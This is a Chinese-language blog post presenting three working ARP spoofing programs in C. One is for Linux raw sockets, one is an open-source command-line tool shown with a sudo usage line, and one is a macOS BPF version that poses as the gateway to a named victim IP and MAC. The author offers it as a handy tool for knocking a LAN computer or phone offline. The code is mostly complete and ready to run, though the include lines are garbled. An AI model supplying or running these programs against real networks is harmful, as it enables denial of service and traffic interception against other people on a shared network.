最近刚好在看 linux 系统 socket 相关的 API, 刚好看到 ARP 相关的接口,就想到了 arp 欺骗
我这边所用原始的 C++ 实现了一个 ARP 欺骗, 没有很多代码, 只要把准备好的数据, 发送给到网卡接口, 利用这个小工具, 也可以让局域网内的一台计算机或者移动设备暂时掉线, 很好用谁试谁知道:
- #include#include#include#include#include#include#include#include#include#include
- if.h > #include#include#include#include#include < string.h >
- //int 4字节
- //shor 2字节
- //char 1字节
- struct ARP_header {
- unsigned short Hardware;
- unsigned short Protocol;
- unsigned char HardwareAddressLen;
- unsigned char ProtocolAddressLeng;
- unsigned short Operation;
- unsigned char SourceHardareAddr[6];
- unsigned char SourceProtocolAddr[4];
- unsigned char TargetHardareAddr[6];
- unsigned char TargetProtocolAddr[4];
- };
- int main(int argc, char * argv[]) {
- //网卡名字, 这个要改成你自己计算机的网卡名
- unsigned char NetInterface[16] = "wlp3s0";
- struct ARP_header arp_sp;
- arp_sp.Hardware = htons(1);
- arp_sp.Protocol = htons(2048);
- arp_sp.HardwareAddressLen = 6;
- arp_sp.ProtocolAddressLeng = 4;
- arp_sp.Operation = htons(2);
- unsigned char EthernetFrame[64] = {
- 0
- };
- bzero(EthernetFrame, 64);
- //假数据, 发送伪造的IP地址和MAC
- unsigned char Spoofing_MAC[6] = {
- 0
- };
- unsigned char Spoofing_IP[4] = {
- 192 & 0Xff,
- 168 & 0Xff,
- 1 & 0Xff,
- 1 & 0XFF
- };
- //目标的地址和目标的MAC
- unsigned char Target_MAC[6] = {
- 0Xd0,
- 0X7e,
- 0X35,
- 0X0a,
- 0Xef,
- 0Xd3
- };
- unsigned char Target_IP[4] = {
- 192 & 0Xff,
- 168 & 0Xff,
- 1 & 0Xff,
- 109 & 0Xff
- };
- //本机的IP地址和MAC地址
- unsigned char Source_MAC[6] = {
- 0Xe0,
- 0Xac,
- 0Xcb,
- 0X86,
- 0Xfb,
- 0X1e
- };
- unsigned char Source_IP[4] = {
- 192 & 0Xff,
- 168 & 0Xff,
- 1 & 0Xff,
- 103 & 0Xff
- };
- //ARP内容
- memcpy(arp_sp.SourceHardareAddr, Spoofing_MAC, sizeof(char) * 6);
- memcpy(arp_sp.SourceProtocolAddr, Spoofing_IP, sizeof(char) * 4);
- memcpy(arp_sp.TargetHardareAddr, Target_MAC, sizeof(char) * 6);
- memcpy(arp_sp.TargetProtocolAddr, Target_IP, sizeof(char) * 4);
- //以太网头部
- memcpy(EthernetFrame, Target_MAC, sizeof(char) * 6);
- memcpy(EthernetFrame + 6, Source_MAC, sizeof(char) * 6);
- EthernetFrame[12] = ETH_P_ARP / 256;
- EthernetFrame[13] = ETH_P_ARP % 256;
- //以太网头部和ARP数据连接起来
- memcpy(EthernetFrame + 14, &arp_sp, sizeof(char) * 28);
- int ARPSocket;
- printf("Create Raw Socket");
- ARPSocket = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL));
- if (ARPSocket < 0) {
- perror("socket failed");
- exit(1);
- }
- //获取设备
- struct sockaddr_ll device;
- device.sll_ifindex = if_nametoindex((const char * ) NetInterface);
- if (device.sll_ifindex == 0) {
- perror("sockaddr_ll error");
- exit(1);
- }
- printf("Index of interface %s is %d", NetInterface, device.sll_ifindex);
- device.sll_halen = htons(6);
- device.sll_family = AF_PACKET;
- int i = 0;
- //连续发送100次
- for (i; i < 100; i++) {
- int sFd = sendto(ARPSocket, EthernetFrame, 42, 0, (struct sockaddr * ) & device, sizeof(device));
- if (sFd <= 0) {
- perror("sendto failed");
- exit(1);
- }
- sleep(1);
- }
- close(ARPSocket);
- }
网上一搜, 刚好 github 这边有一个 arp 欺骗开源项目 ,基于 C 语言, 也有提供 arp 欺骗的源码, 使用方法和项目地址在文章最后:
- /* Copyright (C) 2013-2016 Vegetable avenger (r7418529@gmail.com)
- This program is free software: you can redistribute it and/or modify
- it under the terms of the GNU General Public License as published by
- the Free Software Foundation, either version 3 of the License, or
- (at your option) any later version.
- This program is distributed in the hope that it will be useful,
- but WITHOUT ANY WARRANTY; without even the implied warranty of
- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
- GNU General Public License for more details.
- You should have received a copy of the GNU General Public License
- along with this program. If not, see <http://www.gnu.org/licenses/>.
- */
- /*
- BUG list:
- 1. using unlink interface to send pakcet , may cause an error
- 2. -P flag unuse
- */
- /*
- Version 1.0 : Basic ARP Spoofing function
- Version 1.1 : Add Control Operatior (-t , -s)
- Version 1.2 : Add -i Control Operator ,
- Update Localhost IP/MAC information fetch function ,
- Enhance -t Operator , add ARP table lookup capability .
- */
- // Send an IPv4 ARP Spoofing packet via raw socket
- #include
- #include
- #include
- #include <string.h>
- #include
- #include
- #include
- #include in.h>
- #include
- #include
- #include
- #include
- #include if.h>
- #include
- #include
- #include
- #include
- //--------------------------------------------------------------------------
- // the color of printf
- #define P_NONE "\033[m"
- #define P_RED "\033[0;32;31m"
- #define P_GREEN "\033[0;32;32m"
- //--------------------------------------------------------------------------
- // ARP header
- struct ARP_header
- {
- unsigned short Hardware ;
- unsigned short Protocol ;
- unsigned char HardwareAddressLen ;
- unsigned char ProtocolAddressLeng ;
- unsigned short Operation ;
- unsigned char SoruceHardareAddr[6] ;
- unsigned char SourceProtocolAddr[4] ;
- unsigned char TargetHardareAddr[6] ;
- unsigned char TargetProtocolAddr[4] ;
- };
- //--------------------------------------------------------------------------
- // system flag
- int Pass_flag =0 ; // -P , pass data format resolution check
- int I_flag =0 ; // -i , interface flag
- int S_flag =0 ; // -s , spoofing
- int T_flag =0 ; // -t , Target IP flag
- //--------------------------------------------------------------------------
- // **************************************
- // MAC address format check function
- // **************************************
- //
- // this function work for check MAC address format
- // it return 1 for match format , otherwise 0 for failed .
- static int MAC_FormatCheck(char * argv)
- {
- if(strlen(argv) !=17)
- goto FormatError ;
- else
- {
- for(int i=0 ; i<6 ;i++)
- {
- char num1 =*(argv+i*3) ;
- char num2 =*(argv+i*3+1) ;
- char dot =*(argv+i*3+2) ;
- if(i<5 && dot !=':') //last set no :
- goto FormatError ;
- if(!((num1 >='a' || num1 <='e') ||
- (num1 >='A' || num1 <='E') ||
- (num1 >='0' || num1 <='9')) ||
- !((num2 >='a' || num2 <='e') ||
- (num2 >='A' || num2 <='E') ||
- (num2 >='0' || num2 <='9')))
- goto FormatError ;
- }
- }
- return 1 ;
- FormatError :
- return 0;
- }
- //--------------------------------------------------------------------------
- // ***************************************
- // MAC format tramsform(Danger function)
- // ***************************************
- //
- // this function work for transform MAC data to decimal ,
- // argc is two byte character data ,
- // per MAC data call this function six times .
- static int MAC_SubFormatTransform(char * argv)
- {
- char num1 =*(argv) ;
- char num2 =*(argv+1) ;
- int ret =0;
- if(num1 <='9') ret +=(num1-'0') *16 ;
- else if(num1 <='e') ret +=(num1-'a' +10) *16 ;
- else if(num1 <='E') ret +=(num1-'A' +10) *16 ;
- if(num2 <='9') ret +=(num2-'0') ;
- else if(num2 <='e') ret +=(num2-'a' +10) ;
- else if(num2 <='E') ret +=(num2-'A' +10) ;
- return ret ;
- }
- //--------------------------------------------------------------------------
- // ********************************
- // Argument s resolution function
- // *********************************
- //
- // this function work for Resolution -s operator ,
- // it will return 1 for success , and 0 for faile ,
- // if resolution success , Ret_IP and Ret_MAC will be Ethernet packet format due to argv .
- static int Arg_s_Resolution(char *argv ,char *Ret_IP ,char *Ret_MAC)
- {
- char IP_s[16] ="";
- char MAC_s[18] ="";
- int IP_i =0;
- int MAC_i =0;
- int slash =0;
- int argvLen = strlen(argv);
- unsigned int tSpoofing_IP =-1 ;
- // devide argv in two part , IP and MAC , devided by '/'
- for(int i=0 ;i)
- {
- if(*(argv+i) == '/' && slash==0) // chech slash find or not
- slash =1;
- else if(slash == 0) // save IP data
- {
- if(IP_i==15) // Error : IPv4 IP formate max 14 character ,OOO.OOO.OOO.OOO
- goto ResError ;
- IP_s[IP_i]= *(argv+i) ;
- IP_i ++ ;
- }
- else if(slash == 1) // save MAC data
- {
- if(MAC_i==17) // Error : MAC formate max 17 character ,XX:XX:XX:XX:XX:XX
- goto ResError ;
- MAC_s[MAC_i]= *(argv+i) ;
- MAC_i ++ ;
- }
- else
- goto ResError ;
- }
- // resolution IP to ethernet format
- tSpoofing_IP = inet_addr(IP_s);
- if(tSpoofing_IP ==-1)
- goto ResError ;
- memcpy(Ret_IP , &tSpoofing_IP ,sizeof(int));
- // resolution MAC to ethernet format
- if(MAC_FormatCheck(MAC_s)==0)
- goto ResError ;
- for(int i=0 ; i<6 ;i++)
- {
- Ret_MAC[i] = MAC_SubFormatTransform(&MAC_s[i*3]) ;
- }
- return 1;
- ResError :
- memset(Ret_IP ,0 ,sizeof(char)*15);
- memset(Ret_MAC ,0 ,sizeof(char)*17);
- return 0 ;
- }
- //--------------------------------------------------------------------------
- // **********************************
- // Get Localhost Interface information
- // **********************************
- //
- // get localhost MAC and IP via iface
- int getInterfaceInfo(unsigned char * iface ,unsigned char *local_IP ,unsigned char *local_MAC )
- {
- // Get MAC address
- char tMAC[18]="";
- char ifPath[256]="/sys/class/net/";
- strcat(ifPath ,(char*)iface);
- strcat(ifPath ,"/address");
- FILE *if_f =fopen(ifPath , "r");
- if(if_f == NULL)
- return 0 ;
- else
- {
- fread(tMAC ,1 ,17 ,if_f); //read MAC from /sys/class/net/iface/address
- fclose(if_f) ;
- for(int i=0 ; i<6 ;i++) // confirm data to local_MAC
- {
- *(local_MAC+i) = MAC_SubFormatTransform(&tMAC[i*3]) ;
- }
- }
- // Get IP address
- // using ioctrl to get local IP ,
- // it may not bt an best way to achive that , i still search another way
- int fd;
- struct ifreq ifr;
- in_addr tIP ;
- fd = socket(AF_INET, SOCK_DGRAM, 0); //using ioctl get IP address
- ifr.ifr_addr.sa_family = AF_INET;
- strcpy(ifr.ifr_name , (char*)iface);
- ioctl(fd, SIOCGIFADDR, &ifr);
- close(fd);
- tIP =((struct sockaddr_in *)&ifr.ifr_addr)->sin_addr;
- memcpy((char*)local_IP , &tIP ,sizeof(in_addr));
- return 1;
- }
- //--------------------------------------------------------------------------
- // ************************************
- // Fetch Localhosdt ARP table
- // ************************************
- // find IP or MAC from localhost arp table ,
- #define FETCH_ARP_TABLE_ERROR 0x0000 // could not access localhost ARP table
- #define FETCH_ARP_TABLE_SUCCESS 0x0001 // find ARP entry
- #define FETCH_ARP_TABLE_UNKNOW 0x0002 // ARP entry unknow or empty
- int FetchARPTable(char * TargetIP , char * TargetMAC)
- {
- // ARP table at /proc/net/arp
- int ret =FETCH_ARP_TABLE_UNKNOW;
- FILE *ARP_f =fopen("/proc/net/arp" , "r");
- if(ARP_f == NULL)
- {
- ret =FETCH_ARP_TABLE_ERROR;
- }
- else
- {
- // pass title
- char Title[100] ; //file title , pass that
- fgets(Title ,100 ,ARP_f);
- char t_IP[15] ;
- char t_HW_type[8] ;
- char t_Flags[8] ;
- char t_MAC[17] ;
- char t_Mask[5] ;
- char t_Device[16] ;
- while(!feof(ARP_f)) //search arp table
- {
- fscanf(ARP_f ,"%s %s %s %s %s %s",t_IP,t_HW_type,t_Flags,t_MAC,t_Mask,t_Device);
- if(strcmp(t_IP ,TargetIP)==0 &&
- strcmp(t_Flags ,"0x2")==0)
- {
- //printf("%s|%s|%s|%s|%s|%s\n",t_IP,t_HW_type,t_Flags,t_MAC,t_Mask,t_Device) ; // if you want to look data , unmark that
- ret =FETCH_ARP_TABLE_SUCCESS;
- // copy data to Target_MAC
- for(int i=0 ; i<6 ;i++)
- {
- *(TargetMAC+i) = MAC_SubFormatTransform(&t_MAC[i*3]) ;
- }
- break ;
- }
- }
- fclose(ARP_f);
- }
- return ret ;
- }
- //--------------------------------------------------------------------------
- // ********************
- // ARP spoofing main
- // ********************
- int main(int argc, char* argv[])
- {
- unsigned char NetInterface[16] ="eth0";
- unsigned char Target_IP[4] ={0}; // Target IP
- unsigned char Soruce_IP[4] ={0}; // localhost IP
- unsigned char Spoofing_IP[4] ={0}; // Spoofing IP
- unsigned char Target_MAC[6] ={0}; // TargetMAC , this value will lookup ARP table
- unsigned char Soruce_MAC[6] ={0}; // localhost MAC;
- unsigned char Spoofing_MAC[6] ={0}; // spoofing MAC
- unsigned char EthernetFrame[64] ={0}; // ethernet frame
- int opt;
- // opterr =0; // disable getopt error message
- while((opt=getopt(argc, argv, "Pi:t:s:")) != -1)
- {
- switch(opt)
- {
- case 'i': // interface
- {
- int iLen =strlen(optarg);
- if(iLen<16)
- {
- char ifPath[256]="/sys/class/net/";
- strcat(ifPath ,optarg);
- strcat(ifPath ,"/address");
- struct stat buf;
- if(stat(ifPath,&buf) == 0)
- {
- I_flag =1 ;
- memcpy(NetInterface , optarg ,sizeof(char)*iLen);
- }
- else
- printf(P_RED "Error" P_NONE ": Unknow interface : [" P_GREEN "%s" P_NONE "]\n",optarg);
- }
- else
- printf(P_RED "Error" P_NONE ": Interface identify size unmatch , please fix source code\n");
- }
- break ;
- case 't': // target IP
- {
- // check IP format
- unsigned int tTarget_IP = inet_addr(optarg);
- if(tTarget_IP !=-1)
- {
- // Get target MAC from ARP table
- if(FetchARPTable((char*)optarg ,(char*)Target_MAC)==FETCH_ARP_TABLE_SUCCESS)
- {
- memcpy(Target_IP , &tTarget_IP ,sizeof(int));
- T_flag =1 ;
- }
- else
- printf(P_RED "Error" P_NONE ": Target IP [" P_GREEN "%s" P_NONE "] ,ARP table lookup failed \n",optarg);
- }
- else
- printf(P_RED "Error" P_NONE ": Target IP [" P_GREEN "%s" P_NONE "] ,format resolution failed \n",optarg);
- }
- break ;
- case 's': // spoofing IP and mac
- {
- if(Arg_s_Resolution(optarg ,(char*)&Spoofing_IP[0] ,(char*)&Spoofing_MAC[0] )==0)
- printf(P_RED "Error" P_NONE ": Spoofing data resolution failed\n");
- else
- S_flag =1;
- }
- break;
- case 'P':
- {
- Pass_flag =1;
- }
- break ;
- default :
- printf(P_RED "Error" P_NONE ":Unkonw Argument\n!");
- break ;
- }
- }
- // chech flag
- if(I_flag ==0 ||
- S_flag ==0 ||
- T_flag ==0 ||
- getInterfaceInfo(NetInterface , Soruce_IP ,Soruce_MAC) == 0) // Get localhost IP and MAC
- {
- printf("ARP_Spoofing Error\n");
- exit(-1);
- }
- // set ARP header
- ARP_header ARP_Spoofing ;
- ARP_Spoofing.Hardware = htons (1);
- ARP_Spoofing.Protocol = htons (2048);
- ARP_Spoofing.HardwareAddressLen = 6;
- ARP_Spoofing.ProtocolAddressLeng =4 ;
- ARP_Spoofing.Operation = htons(2);
- memcpy(ARP_Spoofing.SoruceHardareAddr ,Spoofing_MAC ,sizeof(char)*6);
- memcpy(ARP_Spoofing.SourceProtocolAddr ,Spoofing_IP ,sizeof(char)*4);
- memcpy(ARP_Spoofing.TargetHardareAddr ,Target_MAC,sizeof(char)*6);
- memcpy(ARP_Spoofing.TargetProtocolAddr ,Target_IP ,sizeof(char)*4);
- memcpy(EthernetFrame ,Target_MAC ,sizeof(char)*6);
- memcpy(EthernetFrame+6 ,Soruce_MAC ,sizeof(char)*6);
- EthernetFrame[12] = ETH_P_ARP / 256;
- EthernetFrame[13] = ETH_P_ARP % 256;
- // copy ARP header to ethernet packet
- memcpy (EthernetFrame + 14, &ARP_Spoofing, sizeof (char)*28);
- /*------------------------------------------*/
- int ARPSocket ;
- // create socket
- printf("Create RAW Socket ... ");
- if( (ARPSocket = socket(AF_PACKET, SOCK_RAW, htons(ETH_P_ALL) )) <0)
- {
- printf("%s",strerror(errno));
- printf("%d\n", ARPSocket);
- printf("Faile\n");
- exit(-1);
- }
- printf("Successfully\n");
- // Get Interface ibdex
- struct sockaddr_ll device;
- if ((device.sll_ifindex = if_nametoindex ((const char*)NetInterface)) == 0)
- {
- printf("if_nametoindex() failed to obtain interface index ");
- exit (EXIT_FAILURE);
- }
- printf ("Index for interface %s is %i\n", "eth0", device.sll_ifindex);
- device.sll_family = AF_PACKET;
- device.sll_halen = htons (6);
- int i = 0;
- for(i; i<100; i++) {
- printf("send %d", i);
- if (sendto (ARPSocket, EthernetFrame, 42, 0, (struct sockaddr *) &device, sizeof (device)) <= 0)
- {
- perror ("sendto() failed");
- exit (EXIT_FAILURE);
- }
- sleep(1);
- }
- // close socket
- close(ARPSocket);
- // free data
- printf("finish\n");
- }
所用方法为:
- sudo ./arpspoof -t 192.168.0.116 -s 192.168.0.6/EE:EE:EE:EE:EE:EE -i wlp3s0
我的系统为 Mac, 也有 Mac 系统 arp 欺骗的代码, 这个亲测可行, 和 linux 上面有点区别的是需要 ioctl 将 bpf 与网络接口进行绑定, 而且我也假设网卡的名字是 en0, 在被攻击的机器上面使用 wireshark 可以监听到这个 arp 请求 :
- #include#include#include < string.h > #include#include#include#include#include#include#include
- if.h > #include#include#include#include#include
- //const items
- #define DEV_PLEN 12 //device path length, 设备路径长度。比如"/dev/bpf255",最长11个字节加最后一位终止符,共12字节
- const char INTERFACE[] = "en0";
- const u_char TARGET_MAC[] = {
- 0xd0,
- 0x7e,
- 0x35,
- 0x0a,
- 0xef,
- 0xd3
- }; //victim's mac
- const u_char SOURCE_MAC[] = {
- 0xbb,
- 0xbb,
- 0xbb,
- 0xbb,
- 0xbb,
- 0xbb
- }; //attacker's mac
- const u_char TARGET_IP[] = {
- 192,
- 168,
- 1,
- 109
- }; //victim's ip
- const u_char SOURCE_IP[] = {
- 192,
- 168,
- 1,
- 1
- }; //gateway's ip, 这里也一样,因为我们要假装是网关,所以用网关的ip
- //main function
- int main(int argc, char * *argv) {
- int bpf = -1;
- int devno = 0;
- char dev[DEV_PLEN];
- u_char frame[42];
- //create arp frame -- 与之前相同,创建一个42字节长的arp帧
- struct ether_header ehead;
- struct ether_arp earp;
- memcpy(ehead.ether_dhost, TARGET_MAC, ETHER_ADDR_LEN);
- memcpy(ehead.ether_shost, SOURCE_MAC, ETHER_ADDR_LEN);
- ehead.ether_type = htons(ETHERTYPE_ARP);
- earp.arp_hrd = htons(ARPHRD_ETHER);
- earp.arp_pro = htons(ETHERTYPE_IP);
- earp.arp_hln = ETHER_ADDR_LEN;
- earp.arp_pln = 4;
- earp.arp_op = htons(ARPOP_REPLY);
- memcpy(earp.arp_sha, SOURCE_MAC, ETHER_ADDR_LEN);
- memcpy(earp.arp_spa, SOURCE_IP, 4);
- memcpy(earp.arp_tha, TARGET_MAC, ETHER_ADDR_LEN);
- memcpy(earp.arp_tpa, TARGET_IP, 4);
- memcpy(frame, &ehead, sizeof(ehead));
- memcpy(frame + sizeof(ehead), &earp, sizeof(earp));
- printf("* ARP frame created.\n");
- printf("%d\n", bpf);
- // find available bpf device -- 找到空闲的bpf设备
- while (bpf < 0) {
- snprintf(dev, DEV_PLEN, "/dev/bpf%d", devno);
- bpf = open(dev, O_WRONLY);
- ++devno;
- if (devno > 255) {
- printf("/dev/bpf* full.\n");
- exit(EXIT_FAILURE);
- }
- }
- printf("* /dev/bpf%d available.\n", --devno);
- // bound bpf to an interface -- 通过ioctl将bpf与网络接口进行绑定
- struct ifreq boundif;
- strncpy(boundif.ifr_name, INTERFACE, strlen(INTERFACE));
- if (ioctl(bpf, BIOCSETIF, &boundif) < 0) {
- perror("ioctl() failed");
- close(bpf);
- exit(EXIT_FAILURE);
- }
- printf("* Interface %s bound.\n", INTERFACE);
- // write to bpf -- 直接写入bpf即可发送,因为arp帧的头部已经包含了目标地址信息
- if (write(bpf, frame, sizeof(frame)) < 0) {
- perror("write() failed");
- close(bpf);
- exit(EXIT_FAILURE);
- }
- printf("* Done write to bpf.\n");
- close(bpf);
- return 0;
- }
linux,源码的地址:
MacArp 欺骗源码地址:
来源: